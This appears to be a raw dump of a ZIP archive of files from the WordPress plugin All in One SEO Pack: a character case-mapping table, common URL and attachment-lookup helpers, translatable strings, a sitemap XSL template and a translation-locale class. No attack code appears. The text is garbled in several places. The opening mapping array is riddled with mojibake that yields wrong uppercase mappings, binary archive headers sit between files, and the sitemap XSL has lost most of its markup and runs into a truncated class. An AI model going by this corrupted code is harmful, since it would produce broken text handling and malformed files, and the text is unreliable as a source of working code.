'ϧ' => 'Ϧ', 'ϥ' => 'Ϥ', 'ϣ' => 'Ϣ', 'ϡ' => 'Å“ ', 'ϟ' => 'Ϟ', 'ϝ' => 'Ϝ', 'ϛ' => 'Ϛ', 'ϙ' => 'Ϙ', 'ϖ' => 'Å’ ', 'ϕ' => 'Φ', 'ϑ' => 'Θ', 'ϐ' => 'Β', 'ώ' => 'Ώ', 'ύ' => 'Ύ', 'ό' => 'Å’Ã¥', 'ϋ' => 'Ϋ', 'ϊ' => 'Å’â„¢', 'ω' => 'Ω', 'ψ' => 'Ψ', 'χ' => 'Χ', 'φ' => 'Φ', 'υ' => 'Υ', 'τ' => 'Τ', 'σ' => 'Σ', 'ς' => 'Σ', 'ρ' => 'Ρ', 'π' => 'Å’ ', 'ο' => 'Ο', 'ξ' => 'Ξ', 'ν' => 'Ν', 'μ' => 'Μ', 'λ' => 'Λ', 'κ' => 'Κ', 'ŒÀ' => 'Ι', 'Å’âˆÂ' => 'Θ', 'η' => 'Η', 'ζ' => 'Ζ', 'ε' => 'Ε', 'Å’Â¥' => 'Δ', 'γ' => 'Γ', 'β' => 'Β', 'α' => 'Α', 'ί' => 'Ί', 'ή' => 'Ή', 'έ' => 'Έ', 'ά' => 'Ά', ' í' => '∆∑', ' ã' => '∆≤', ' ä' => '∆±', ' à' => 'Ʈ', ' É' => 'Ʃ', ' Ä' => '∆¶', '…µ' => 'Ɵ', '…≤' => '∆ù', '…Ø' => '∆ú', '…©' => 'Ɩ', '…®' => '∆ó', '…£' => 'Ɣ', '… ' => 'Ɠ', '…õ' => 'Ɛ', '…ô' => 'Ə', '…ó' => 'Ɗ', '…ñ' => 'Ɖ', '…î' => 'Ɔ', '…ì' => 'Ɓ', '»≥' => '»≤', '»±' => '»∞', 'ȯ' => 'Ȯ', '»≠' => 'Ȭ', '»´' => '»™', '»©' => '»®', 'ȧ' => '»¶', '»•' => '»§', 'ȣ' => 'Ȣ', 'ȟ' => '»û', '»ù' => '»ú', '»õ' => '»ö', '»ô' => '»ò', '»ó' => 'Ȗ', 'ȕ' => 'Ȕ', 'ȓ' => 'Ȓ', 'ȑ' => 'Ȑ', 'ȏ' => 'Ȏ', 'ȍ' => 'Ȍ', 'ȋ' => 'Ȋ', 'ȉ' => 'Ȉ', 'ȇ' => 'Ȇ', '»Ö' => 'Ȅ', 'ȃ' => 'Ȃ', 'ȁ' => 'Ȁ', '«ø' => '«æ', '«Ω' => 'Ǽ', 'ǻ' => '«∫', '«Ã€' => '«âˆÂ', '«µ' => '«¥', '«≥' => '«≤', '«Ø' => '«Æ', '«≠' => 'Ǭ', '«´' => '«™', '«©' => '«®', '«ß' => '«¶', '«•' => '«§', '«£' => '«¢', '«°' => '« ', '«ü' => '«û', '«ù' => 'Ǝ', '«ú' => '«õ', '«ö' => '«ô', '«ò' => '«ó', '«ñ' => '«ï', '«î' => '«ì', '«í' => '«ë', '«ê' => '«è', '«é' => '«ç', '«å' => '«ã', '«â' => '«à', '«Ü' => '«Ö', '∆ø' => '«∑', '∆Ω' => 'Ƽ', '∆À' => '∆âˆÂ', '∆∂' => '∆µ', '∆¥' => '∆≥', '∆∞' => 'Ư', '∆≠' => 'Ƭ', '∆®' => 'Ƨ', 'ƥ' => '∆§', '∆£' => '∆¢', '∆°' => '∆ ', '∆û' => '» ', '∆ô' => '∆ò', 'ƕ' => '«∂', 'ƒ' => 'Ƒ', 'ƌ' => 'Ƌ', 'ƈ' => 'Ƈ', '∆Ö' => 'Ƅ', 'ƃ' => 'Ƃ', '≈ø' => 'S', 'ž' => '≈Ω', 'ż' => 'Ż', '≈∫' => '≈À', '≈∑' => '≈∂', '≈µ' => '≈¥', '≈≥' => '≈≤', '≈±' => '≈∞', 'ů' => 'Ů', '≈≠' => 'Ŭ', '≈´' => '≈™', 'ũ' => '≈®', 'ŧ' => '≈¶', 'ť' => '≈§', '≈£' => 'Ţ', 'š' => '≈ ', 'ş' => '≈û', '≈ù' => '≈ú', '≈õ' => '≈ö', '≈ô' => '≈ò', '≈ó' => 'Ŗ', 'ŕ' => 'Ŕ', 'œ' => 'Œ', 'ő' => 'Ő', 'ŏ' => 'Ŏ', 'ō' => 'Ō', 'ŋ' => 'Ŋ', 'ň' => 'Ň', 'ņ' => '≈Ö', 'ń' => 'Ń', 'ł' => 'Ł', 'ŀ' => 'ƒø', 'ľ' => 'ƒΩ', 'ļ' => 'Ļ', 'ĺ' => 'ƒÀ', 'ķ' => 'Ķ', 'ĵ' => 'Æ’Â¥', 'ij' => 'IJ', 'ı' => 'I', 'į' => 'Į', 'ĭ' => 'Ĭ', 'ƒ´' => 'Æ’â„¢', 'ĩ' => 'Ĩ', 'ħ' => 'Ħ', 'ĥ' => 'Ĥ', 'ģ' => 'Ģ', 'ƒ°' => 'Æ’ ', 'ğ' => 'ƒû', 'ƒù' => 'ƒú', 'ƒõ' => 'ƒö', 'ƒô' => 'ƒò', 'ƒó' => 'Ė', 'ĕ' => 'Ĕ', 'ē' => 'Ē', 'đ' => 'Đ', 'ď' => 'Ď', 'č' => 'Æ’Ã¥', 'ċ' => 'Ċ', 'ĉ' => 'Ĉ', 'ć' => 'Ć', 'ƒÖ' => 'Ą', 'ă' => 'Ă', 'Æ’Ã…' => 'Ā', 'ÿ' => '≈âˆÂ', 'þ' => '√û', '√Ω' => '√ù', 'ü' => '√ú', 'û' => '√õ', '√∫' => '√ö', '√À' => '√ô', '√âˆÂ' => '√ò', 'ö' => 'Ö', 'õ' => 'Õ', 'ô' => 'Ô', 'ó' => 'Ó', 'ò' => 'Ò', 'ñ' => 'Ñ', '√∞' => 'Ð', 'ï' => 'Ï', 'î' => 'Î', 'í' => 'Í', 'ì' => 'Ì', 'ë' => 'Ë', 'ê' => 'Ê', 'é' => 'É', 'è' => 'È', 'ç' => 'Ç', '√¶' => 'Æ', 'å' => '√Ö', '√§' => 'Ä', '√£' => 'Ã', '√¢' => 'Â', '√°' => 'Á', '√ ' => 'À', 'µ' => 'Μ', 'z' => 'Z', 'y' => 'Y', 'x' => 'X', 'w' => 'W', 'v' => 'V', 'u' => 'U', 't' => 'T', 's' => 'S', 'r' => 'R', 'q' => 'Q', 'p' => 'P', 'o' => 'O', 'n' => 'N', 'm' => 'M', 'l' => 'L', 'k' => 'K', 'j' => 'J', 'i' => 'I', 'h' => 'H', 'g' => 'G', 'f' => 'F', 'e' => 'E', 'd' => 'D', 'c' => 'C', 'b' => 'B', 'a' => 'A', ); // phpcs:enable PK������+—[Ï[JV8��V8��(��all-in-one-seo-pack/inc/aiosp_common.phpnu�„[µü¤��������<?php /** * AIOSEOP Common * * @package All_in_One_SEO_Pack * @since ? */ /** * Class aiosp_common * * These are commonly used functions that can be pulled from anywhere. * (or in some cases they're functions waiting for a home) */ // @codingStandardsIgnoreStart class aiosp_common { // @codingStandardsIgnoreEnd /** * Attachment URL => PostIDs * * @var null|array * * @since 2.9.2 */ public static $attachment_url_postids = null; /** * Constructor * * @since 2.3.3 */ function __construct() { } /** * Clear WPE Cache * * Clears WP Engine cache. * * @since 2.4.10 */ static function clear_wpe_cache() { if ( class_exists( 'WpeCommon' ) ) { WpeCommon::purge_memcached(); WpeCommon::clear_maxcdn_cache(); WpeCommon::purge_varnish_cache(); } } /** * Get Blog Page * * @since 2.3.3 * * @param null $p * @return array|null|string|WP_Post */ static function get_blog_page( $p = null ) { static $blog_page = ''; static $page_for_posts = ''; if ( null === $p ) { global $post; } else { $post = $p; } if ( '' === $blog_page ) { if ( '' === $page_for_posts ) { $page_for_posts = get_option( 'page_for_posts' ); } if ( $page_for_posts && is_home() && ( ! is_object( $post ) || ( $page_for_posts !== $post->ID ) ) ) { $blog_page = get_post( $page_for_posts ); } } return $blog_page; } /** * Get Upgrade Hyperlink * * @since 2.3.3 * * @param string $location * @param string $title * @param string $anchor * @param string $target * @param string $class * @param string $id * @return string */ static function get_upgrade_hyperlink( $location = '', $title = '', $anchor = '', $target = '', $class = '', $id = 'aio-pro-update' ) { $affiliate_id = ''; // call during plugins_loaded. $affiliate_id = apply_filters( 'aiosp_aff_id', $affiliate_id ); // build URL. $url = 'https://semperplugins.com/all-in-one-seo-pack-pro-version/'; if ( $location ) { $url .= '?loc=' . $location; } if ( $affiliate_id ) { $url .= "?ap_id=$affiliate_id"; } // build hyperlink. $hyperlink = '<a '; if ( $target ) { $hyperlink .= "target=\"$target\" "; } if ( $title ) { $hyperlink .= "title=\"$title\" "; } if ( $id ) { $hyperlink .= "id=\"$id\" "; } $hyperlink .= "href=\"$url\">$anchor</a>"; return $hyperlink; } /** * Get Upgrade URL * * Gets the upgrade to Pro version URL. * * @since 2.3.3 */ static function get_upgrade_url() { // put build URL stuff in here. } /** * Absolutize URL * * Check whether a url is relative and if it is, make it absolute. * * @since 2.4.2 * * @param string $url URL to check. * @return string */ static function absolutize_url( $url ) { if ( 0 !== strpos( $url, 'http' ) && '/' !== $url ) { if ( 0 === strpos( $url, '//' ) ) { // for //<host>/resource type urls. $scheme = wp_parse_url( home_url(), PHP_URL_SCHEME ); $url = $scheme . ':' . $url; } else { // for /resource type urls. $url = home_url( $url ); } } return $url; } /** * Make URL Valid Smartly * * Check whether a url is relative (does not contain a . before the first /) or absolute and makes it a valid url. * * @since 2.8 * * @param string $url URL to check. * @return string */ static function make_url_valid_smartly( $url ) { $scheme = wp_parse_url( home_url(), PHP_URL_SCHEME ); if ( 0 !== strpos( $url, 'http' ) ) { if ( 0 === strpos( $url, '//' ) ) { // for //<host>/resource type urls. $url = $scheme . ':' . $url; } elseif ( strpos( $url, '.' ) !== false && strpos( $url, '/' ) !== false && strpos( $url, '.' ) < strpos( $url, '/' ) ) { // if the . comes before the first / then this is absolute. $url = $scheme . '://' . $url; } else { // for /resource type urls. $url = home_url( $url ); } } elseif ( strpos( $url, 'http://' ) === false ) { if ( 0 === strpos( $url, 'http:/' ) ) { $url = $scheme . '://' . str_replace( 'http:/', '', $url ); } elseif ( 0 === strpos( $url, 'http:' ) ) { $url = $scheme . '://' . str_replace( 'http:', '', $url ); } } return $url; } /** * Is URL Valid * * Check whether a url is valid. * * @since 2.8 * * @param string $url URL to check. * @return bool */ public static function is_url_valid( $url ) { return filter_var( filter_var( $url, FILTER_SANITIZE_URL ), FILTER_VALIDATE_URL, FILTER_FLAG_SCHEME_REQUIRED | FILTER_FLAG_HOST_REQUIRED ) !== false; } /** * Make XML Safe * * Renders the value XML safe. * * @since 2.10 */ public static function make_xml_safe( $tag, $value ) { // some tags contain an array of values. if ( is_array( $value ) ) { return $value; } // sanitize the other tags. if ( in_array( $tag, array( 'guid', 'link', 'loc', 'image:loc' ), true ) ) { $value = esc_url( $value ); } else { // some tags contain sanitized to some extent but they do not encode < and >. if ( ! in_array( $tag, array( 'image:title' ), true ) ) { $value = convert_chars( wptexturize( $value ) ); } } return ent2ncr( esc_html( $value ) ); } /** * Attachment URL to Post ID * * Returns the (original) post/attachment ID from the URL param given. The function checks if URL is * within, chacks for original attachment URLs, and then custom attachment URLs. The main intent for this function * is to avoid having to query if possible (if cache was set prior), and if not, there is only 1 query per instance * rather than multiple queries per instance. * NOTE: Attempting to paginate the query actually caused the memory to peak higher. * NOTE: The weakest point in this function is multiple calls to Result_2's SQL query for custom attachment URLs. * * This is intended to work much the same way as WP's `attachment_url_to_postid()`. * * @link https://developer.wordpress.org/reference/functions/attachment_url_to_postid/ * * @see aiosp_common::set_transient_url_postids() * @see get_transient() * @link https://developer.wordpress.org/reference/functions/get_transient/ * @see wpdb::get_results() * @link https://developer.wordpress.org/reference/classes/wpdb/get_results/ * @see wp_list_pluck() * @link https://developer.wordpress.org/reference/functions/wp_list_pluck/ * @see wp_upload_dir() * @link https://developer.wordpress.org/reference/functions/wp_upload_dir/ * * @since 2.9.2 * * @param string $url Full image URL. * @return int */ public static function attachment_url_to_postid( $url ) { global $wpdb; static $results_1; static $results_2; $id = 0; $url_md5 = md5( $url ); // Gets the URL => PostIDs array. // If static variable is still empty, load transient data. if ( is_null( self::$attachment_url_postids ) ) { if ( is_multisite() ) { self::$attachment_url_postids = get_site_transient( 'aioseop_multisite_attachment_url_postids' ); } else { self::$attachment_url_postids = get_transient( 'aioseop_attachment_url_postids' ); } // If no transient data, set as (default) empty array. if ( false === self::$attachment_url_postids ) { self::$attachment_url_postids = array(); } } // Search for URL and get ID. if ( isset( self::$attachment_url_postids[ $url_md5 ] ) ) { // If static is already loaded and has URL, then return the URL's Post ID. $id = intval( self::$attachment_url_postids[ $url_md5 ] ); } else { // Check to make sure Image URL is not outside the website. $uploads_dir = wp_upload_dir(); if ( false !== strpos( $url, $uploads_dir['baseurl'] . '/' ) ) { // Results_1 query looks for URLs with the original guid that is uncropped and unedited. if ( is_null( $results_1 ) ) { $results_1 = aiosp_common::attachment_url_to_postid_query_1(); } if ( isset( $results_1[ $url_md5 ] ) ) { $id = intval( $results_1[ $url_md5 ] ); } // phpcs:disable Squiz.Commenting.InlineComment.InvalidEndChar // TODO Add setting to enable; this is TOO MEMORY INTENSE which could result in 1 or more crashes, // TODO however some may still need custom image URLs. // TODO NOTE: Transient data does prevent continual crashes. // else { // Results_2 query looks for the URL that is cropped and edited. This searches JSON strings // and returns the original attachment ID (there is no custom attachment IDs). // // if ( is_null( $results_2 ) ) { // $results_2 = aiosp_common::attachment_url_to_postid_query_2(); // } // // if ( isset( $results_2[ $url_md5 ] ) ) { // $id = intval( $results_2[ $url_md5 ] ); // } // } // phpcs:enable } self::$attachment_url_postids[ $url_md5 ] = $id; /** * Sets the transient data at the last hook instead at every call. * * @see aiosp_common::set_transient_url_postids() */ add_action( 'shutdown', array( 'aiosp_common', 'set_transient_url_postids' ) ); } return $id; } /** * Set Transient URL Post IDs * * Sets the transient data at the last hook instead at every call. * * @see set_transient() * @link https://developer.wordpress.org/reference/functions/set_transient/ * * @since 2.9.2 */ public static function set_transient_url_postids() { if ( is_multisite() ) { set_site_transient( 'aioseop_multisite_attachment_url_postids', self::$attachment_url_postids, 24 * HOUR_IN_SECONDS ); } else { set_transient( 'aioseop_attachment_url_postids', self::$attachment_url_postids, 24 * HOUR_IN_SECONDS ); } } /** * Attachment URL to Post ID - Query 1 * * This is intended to work solely with `aiosp_common::attachment_url_to_post_id()`. Calling this multiple times * is memory intense. * * @see wpdb::get_results() * @link https://developer.wordpress.org/reference/classes/wpdb/get_results/ * * @return array */ public static function attachment_url_to_postid_query_1() { global $wpdb; $results_1 = $wpdb->get_results( "SELECT ID, MD5(guid) AS guid FROM $wpdb->posts WHERE post_type='attachment' AND post_status='inherit' AND post_mime_type LIKE 'image/%';", ARRAY_A ); if ( $results_1 ) { $results_1 = array_combine( wp_list_pluck( $results_1, 'guid' ), wp_list_pluck( $results_1, 'ID' ) ); } else { $results_1 = array(); } return $results_1; } /** * Attachment URL to Post ID - Query 2 * * Unused/Conceptual function. This is intended to work solely with `aiosp_common::attachment_url_to_post_id()`. * Calling this multiple times is memory intense. It's intended to query for custom images, and data for those types * of images only exists in the postmeta database table * * @todo Investigate unserialize() memory consumption/leak. * @link https://www.evonide.com/breaking-phps-garbage-collection-and-unserialize/ * * @see aiosp_common::attachment_url_to_postid() * @see unserialize() * @link http://php.net/manual/en/function.unserialize.php * @see wpdb::get_results() * @link https://developer.wordpress.org/reference/classes/wpdb/get_results/ * @see wp_upload_dir() * @link https://developer.wordpress.org/reference/functions/wp_upload_dir/ * * @return array */ public static function attachment_url_to_postid_query_2() { global $wpdb; $tmp_arr = array(); // @codingStandardsIgnoreStart WordPress.WP.PreparedSQL.NotPrepared $results_2 = $wpdb->get_results( "SELECT post_id, meta_value FROM {$wpdb->postmeta} WHERE `meta_key` = '_wp_attachment_metadata' AND `meta_value` != '" . serialize( array() ) . "';", ARRAY_A ); // @codingStandardsIgnoreStop WordPress.WP.PreparedSQL.NotPrepared if ( $results_2 ) { for ( $i = 0; $i < count( $results_2 ); $i++ ) { // TODO Investigate potentual memory leak(s); currently with unserialize. $meta_value = maybe_unserialize( $results_2[ $i ]['meta_value'] ); // TODO Needs Discussion: Should this be added? To handle errors better instead of suspecting aioseop is at fault and lessen support threads. /** * This currently handles "warning" notices with unserialize which normally can't be handled with a try/catch. * However, this notice should be identified and corrected; which is seperate from the plugin, but * can also triggered by the plugin. * * @see aiosp_common::error_handle_images() * @see set_error_handler() * @link http://php.net/manual/en/function.set-error-handler.php * @see restore_error_handler() * @link http://php.net/manual/en/function.restore-error-handler.php */ /* set_error_handler( 'aiosp_common::error_handle_images' ); try { $meta_value = unserialize( $results_2[ $i ]['meta_value'] ); } catch ( Exception $e ) { unset( $meta_value ); restore_error_handler(); continue; } restore_error_handler(); */ // Images and Videos use different variable structures. if ( false === $meta_value || ! isset( $meta_value['file'] ) && ! isset( $meta_value['sizes'] ) ) { continue; } // Set the URL => PostIDs. $uploads_dir = wp_upload_dir(); $custom_img_base_url = $uploads_dir['baseurl'] . '/' . str_replace( wp_basename( $meta_value['file'] ), '', $meta_value['file'] ); foreach ( $meta_value['sizes'] as $image_size_arr ) { $tmp_arr[ md5( ( $custom_img_base_url . $image_size_arr['file'] ) ) ] = $results_2[ $i ]['post_id']; } unset( $meta_value ); } } $results_2 = $tmp_arr; unset( $tmp_arr ); return $results_2; } /** * Error Hand Images * * Unused/Conceptual function potentually used in `aiosp_common::attachment_url_to_post_id_query_2()`. * This is to handle errors where a normal try/catch wouldn't have the exception needed to catch. * * @see aiosp_common::attachment_url_to_post_id_query_2() * * @param $errno * @param $errstr * @param $errfile * @param $errline * @return bool * @throws ErrorException */ public static function error_handle_images( $errno, $errstr, $errfile, $errline ) { // Possibly handle known issues differently. // Handles unserialize() warning notice. if ( 8 === $errno || strpos( $errstr , 'unserialize():' ) ) { throw new ErrorException( $errstr, $errno, 0, $errfile, $errline ); } else { throw new ErrorException( $errstr, $errno, 0, $errfile, $errline ); } return false; } } PK������+—[q~.±Í"��Í"��)��all-in-one-seo-pack/inc/commonstrings.phpnu�„[µü¤��������<?php /** * Class AIOSP_Common_Strings * * This is just for Pro strings to be translated. * * @package All_in_One_SEO_Pack * @since ? */ /** * Class AIOSP_Common_Strings * * @since ? */ class AIOSP_Common_Strings { /** * AIOSP_Common_Strings constructor. * * We'll just put all the strings in the contruct for lack of a better place. */ private function __construct() { // From aioseop-helper-filters.php. __( 'This will be the license key received when the product was purchased. This is used for automatic upgrades.', 'all-in-one-seo-pack' ); /* translators: %s is a placeholder, which means that it should not be translated. It will be replaced with the name of the plugin, All in One SEO Pack. */ __( 'Use these checkboxes to select which Taxonomies you want to use %s with.', 'all-in-one-seo-pack' ); __( 'This displays an SEO News widget on the dashboard.', 'all-in-one-seo-pack' ); /* translators: %s is a placeholder, which means that it should not be translated. It will be replaced with the name of the plugin, All in One SEO Pack. */ __( 'Check this to add %s to the Toolbar for easy access to your SEO settings.', 'all-in-one-seo-pack' ); /* translators: %s is a placeholder, which means that it should not be translated. It will be replaced with the name of the plugin, All in One SEO Pack. */ __( 'Check this to move the %s menu item to the top of your WordPress Dashboard menu.', 'all-in-one-seo-pack' ); __( 'Check this if you want to track outbound forms with Google Analytics.', 'all-in-one-seo-pack' ); __( 'Check this if you want to track events with Google Analytics.', 'all-in-one-seo-pack' ); __( 'Check this if you want to track URL changes for single pages with Google Analytics.', 'all-in-one-seo-pack' ); __( 'Check this if you want to track how long pages are in visible state with Google Analytics.', 'all-in-one-seo-pack' ); /* translators: 'This option allows users to track media queries, allowing them to find out if users are viewing a responsive layout or not and which layout changes have been applied if the browser window has been resized by the user, see https://github.com/googleanalytics/autotrack/blob/master/docs/plugins/media-query-tracker.md. */ __( 'Check this if you want to track media query matching and queries with Google Analytics.', 'all-in-one-seo-pack' ); /* translators: The term "viewport" refers to the area of the page that is visible to the user, see https://www.w3schools.com/css/css_rwd_viewport.asp. */ __( 'Check this if you want to track when elements are visible within the viewport with Google Analytics.', 'all-in-one-seo-pack' ); __( 'Check this if you want to track how far down a user scrolls a page with Google Analytics.', 'all-in-one-seo-pack' ); __( 'Check this if you want to track interactions with the official Facebook and Twitter widgets with Google Analytics.', 'all-in-one-seo-pack' ); __( 'Check this if you want to ensure consistency in URL paths reported to Google Analytics.', 'all-in-one-seo-pack' ); __( 'Your site title', 'all-in-one-seo-pack' ); __( 'Your site description', 'all-in-one-seo-pack' ); /* translators: %s is a placeholder, which means that it should not be translated. It will be replaced with a noun. */ __( 'The original title of the %s', 'all-in-one-seo-pack' ); /* translators: %s is a placeholder, which means that it should not be translated. It will be replaced with a noun. */ __( 'The description of the %s', 'all-in-one-seo-pack' ); __( 'Taxonomy', 'all-in-one-seo-pack' ); __( 'The following macros are supported:', 'all-in-one-seo-pack' ); __( 'Click here for documentation on this setting', 'all-in-one-seo-pack' ); __( 'Click here for documentation on this setting.', 'all-in-one-seo-pack' ); __( 'Create RSS Sitemap as well.', 'all-in-one-seo-pack' ); __( 'Notify search engines based on the selected schedule, and also update static sitemap daily if in use. (this uses WP-Cron, so make sure this is working properly on your server as well)', 'all-in-one-seo-pack' ); __( 'Organize sitemap entries into distinct files in your sitemap. We recommend you enable this setting if your sitemap contains more than 1,000 URLs.', 'all-in-one-seo-pack' ); __( 'Allows you to specify the maximum number of posts in a sitemap (up to 50,000).', 'all-in-one-seo-pack' ); __( 'Select which Post Types appear in your sitemap.', 'all-in-one-seo-pack' ); __( 'Select which taxonomy archives appear in your sitemap', 'all-in-one-seo-pack' ); __( 'Include Date Archives in your sitemap.', 'all-in-one-seo-pack' ); __( 'Include Author Archives in your sitemap.', 'all-in-one-seo-pack' ); __( 'Exclude Images in your sitemap.', 'all-in-one-seo-pack' ); __( 'Places a link to your Sitemap.xml into your virtual Robots.txt file.', 'all-in-one-seo-pack' ); __( 'Dynamically creates the XML sitemap instead of using a static file.', 'all-in-one-seo-pack' ); __( 'If checked, only posts that have videos in them will be displayed on the sitemap.', 'all-in-one-seo-pack' ); __( 'Enable this option to look for videos in custom fields as well.', 'all-in-one-seo-pack' ); __( 'URL to the page. This field accepts relative URLs or absolute URLs with the protocol specified.', 'all-in-one-seo-pack' ); __( 'The priority of the page.', 'all-in-one-seo-pack' ); __( 'The frequency of the page.', 'all-in-one-seo-pack' ); __( 'Last modified date of the page.', 'all-in-one-seo-pack' ); __( 'Entries from these taxonomy terms will be excluded from the sitemap.', 'all-in-one-seo-pack' ); __( 'Use page slugs or page IDs, separated by commas, to exclude pages from the sitemap.', 'all-in-one-seo-pack' ); /* translators: %1$s and %2$s are placeholders, which means that it should not be translated. They will be replaced with nouns in the application. */ __( 'Manually set the %1$s of your %2$s.', 'all-in-one-seo-pack' ); __( 'priority', 'all-in-one-seo-pack' ); __( 'Homepage', 'all-in-one-seo-pack' ); __( 'Post', 'all-in-one-seo-pack' ); __( 'Taxonomies', 'all-in-one-seo-pack' ); __( 'Archive Pages', 'all-in-one-seo-pack' ); __( 'Author Pages', 'all-in-one-seo-pack' ); // From aioseop_taxonomy_functions.php. __( 'SEO Title', 'all-in-one-seo-pack' ); __( 'SEO Description', 'all-in-one-seo-pack' ); __( 'SEO Keywords', 'all-in-one-seo-pack' ); // From functions_general.php. __( 'Show SEO News', 'all-in-one-seo-pack' ); __( 'Display Menu In Toolbar:', 'all-in-one-seo-pack' ); __( 'Display Menu At The Top:', 'all-in-one-seo-pack' ); __( 'Track Outbound Forms:', 'all-in-one-seo-pack' ); __( 'Track Events:', 'all-in-one-seo-pack' ); __( 'Track URL Changes:', 'all-in-one-seo-pack' ); __( 'Track Page Visibility:', 'all-in-one-seo-pack' ); __( 'Track Media Query:', 'all-in-one-seo-pack' ); __( 'Track Elements Visibility:', 'all-in-one-seo-pack' ); __( 'Track Page Scrolling:', 'all-in-one-seo-pack' ); __( 'Track Facebook and Twitter:', 'all-in-one-seo-pack' ); __( 'Ensure URL Consistency:', 'all-in-one-seo-pack' ); // From sfwd_update_checker.php. __( '%s is almost ready.', 'all-in-one-seo-pack' ); /* translators: leave all the code inside the brackets < and > unchanged.*/ __( 'You must <a href="%s">enter a valid License Key</a> for it to work.', 'all-in-one-seo-pack' ); __( 'Need a license key?', 'all-in-one-seo-pack' ); __( 'Purchase one now', 'all-in-one-seo-pack' ); /* translators: leave all the code inside the brackets < and > unchanged.*/ __( "There is a new version of %1\$s available. Go to <a href='%2\$s'>the plugins page</a> for details.", 'all-in-one-seo-pack' ); /* translators: %1$s and %2$s are placeholders, which means that it should not be translated. They will be replaced with nouns in the application. */ __( 'Your license has expired. Please %1$s click here %2$s to purchase a new one.', 'all-in-one-seo-pack' ); __( 'Manage Licenses', 'all-in-one-seo-pack' ); __( 'License Key is not set yet or invalid. ', 'all-in-one-seo-pack' ); /* transalators: Following this alert is the text of the notice. For example... "Notice: you have not entered a valid license key". */ __( 'Notice: ', 'all-in-one-seo-pack' ); // From video_sitemap.php. __( 'Video Sitemap', 'all-in-one-seo-pack' ); __( 'Show Only Posts With Videos', 'all-in-one-seo-pack' ); __( 'Include Custom Fields', 'all-in-one-seo-pack' ); __( 'Video sitemap scan completed successfully!', 'all-in-one-seo-pack' ); /* translators: This expression means "a small period/brief period of time". */ __( 'a short while', 'all-in-one-seo-pack' ); /* translators: %s is a placeholder, which means that it should not be translated. It will be replaced with a period of time, such as "5 minutes" or "a short while". */ __( 'Video sitemap scan in progress. Please check again in %s.', 'all-in-one-seo-pack' ); } } PK������+—[ì§àå$���$���!��all-in-one-seo-pack/inc/index.phpnu�„[µü¤��������<?php /** * Silence is golden. */ PK������+—[ô'K]Ê��Ê��'��all-in-one-seo-pack/inc/sitemap-xsl.phpnu�„[µü¤��������<?php /** * Sitemap XSL. * * Dynamically generates the XML Sitemap's XSL file. * * @package All_in_One_SEO_Pack * @since 2.3.6 * @since 2.3.12.3 Refactoring indentation and added xmlns fix for Chrome rendering. */ echo '<?xml version="1.0" encoding="UTF-8"?>'; ?> <xsl:stylesheet version="2.0" xmlns="http://www.w3.org/1999/xhtml" xmlns:html="http://www.w3.org/TR/REC-html40" xmlns:video="http://www.google.com/schemas/sitemap-video/1.1" xmlns:image="http://www.google.com/schemas/sitemap-image/1.1" xmlns:sitemap="http://www.sitemaps.org/schemas/sitemap/0.9" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> <xsl:output method="html" version="1.0" encoding="UTF-8" indent="yes"/> <xsl:template match="/"> <xsl:variable name="fileType"> <xsl:choose> <xsl:when test="//sitemap:url">Sitemap</xsl:when> <xsl:otherwise>SitemapIndex</xsl:otherwise> </xsl:choose> </xsl:variable> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title> <xsl:choose><xsl:when test="$fileType='Sitemap'">Sitemap</xsl:when> <xsl:otherwise>Sitemap Index</xsl:otherwise> </xsl:choose>

    XML Sitemap

    ,
    sitemaps.org', 'all-in-one-seo-pack' ); ?>.

    . .

    stripe
    URL Last Change
    video stripe
    URL Images Videos Video Thumbnails Priority Change Frequency Last Change
    current_locale = get_locale(); if ( 'en_US' === $this->current_locale ) { return; } $this->init(); } /** * Get Local Data * * Fetch locale data from WP. * * @since 2.3.5 * @since 2.3.6 Return FALSE on WP_Error object. * * @return mixed */ private function get_locale_data() { $response = wp_remote_get( $this->url ); if ( is_wp_error( $response ) ) { return false; } return $response['body']; } /** * * Set Current Loacal Data * * @since 2.3.5 * * @param array $locales All locale info for AIOSEOP from translate.wordpress.org. * @var object $locale Individual locale info for AIOSEOP from translate.wordpress.org. * @var string $wp_locale Locale name from translate.wordpress.org (does not include formal designation). * @var string $formal Indication of whether currently active locale is formal. * @var string $slug Indication of whether locale from translate.wordpress.org is formal. * @var string $current_locale Currently active locale. */ private function set_current_locale_data( $locales ) { $current_locale = $this->current_locale; if ( strpos( $current_locale, '_formal' ) ) { $formal = 'formal'; $this->formal = 'formal'; $short_locale = str_replace( '_formal', '', $current_locale ); $this->short_locale = str_replace( '_formal', '', $current_locale ); } else { $short_locale = $current_locale; $this->formal = 'default'; $formal = 'default'; } // Some locales are missing the locale code (wp_locale) so we need to check for that. foreach ( $locales as $locale ) { $slug = $locale->slug; $wplocale = ''; if ( isset( $locale->wp_locale ) ) { $wplocale = $locale->wp_locale; } if ( $short_locale !== $wplocale ) { continue; } if ( $formal !== $slug ) { continue; } $name = ''; $percent_translated = ''; if ( isset( $locale->name ) ) { $name = $locale->name; } if ( isset( $locale->percent_translated ) ) { $percent_translated = $locale->percent_translated; } $this->name = $name; $this->wplocale = $wplocale; $this->percent_translated = $percent_translated; $this->slug = $locale->locale; } } /** * Count Translated Languages * * @since 2.3.5 * * @param $locales * @return int */ private function count_translated_languages( $locales ) { $count = 0; foreach ( $locales as $locale ) { if ( $locale->percent_translated > 0 ) { ++ $count; } } return $count; } /** * Set Translation URL * * @since 2.3.5 */ private function set_translation_url() { if ( null !== $this->wplocale ) { $url = "https://translate.wordpress.org/projects/wp-plugins/all-in-one-seo-pack/dev/$this->slug/$this->formal/?filters%5Bstatus%5D=untranslated&sort%5Bby%5D=priority&sort%5Bhow%5D=desc"; $this->translation_url = $url; } } /** * Set Native Language * * Gets and sets the native language. * * @since 2.3.12.1 */ function set_native_language() { if ( file_exists( ABSPATH . 'wp-admin/includes/translation-install.php' ) ) { require_once( ABSPATH . 'wp-admin/includes/translation-install.php' ); } else { return; } if ( function_exists( 'wp_get_available_translations' ) ) { $translations = wp_get_available_translations(); $this->native_name = $translations[ $this->current_locale ]['native_name']; } } /** * Init * * @since 2.3.5 * @since 2.3.6 Return FALSE on WP_Error object in get_locale_data(). * @since 2.3.12.1 set_native_language() */ private function init() { $json = $this->get_locale_data(); if ( false === $json ) { return false; } $translation_data = json_decode( $json ); $locales = $translation_data->translation_sets; $this->set_current_locale_data( $locales ); $this->translated_count = $this->count_translated_languages( $locales ); $this->set_translation_url(); $this->set_native_language(); } } endif; // End class_exists check. 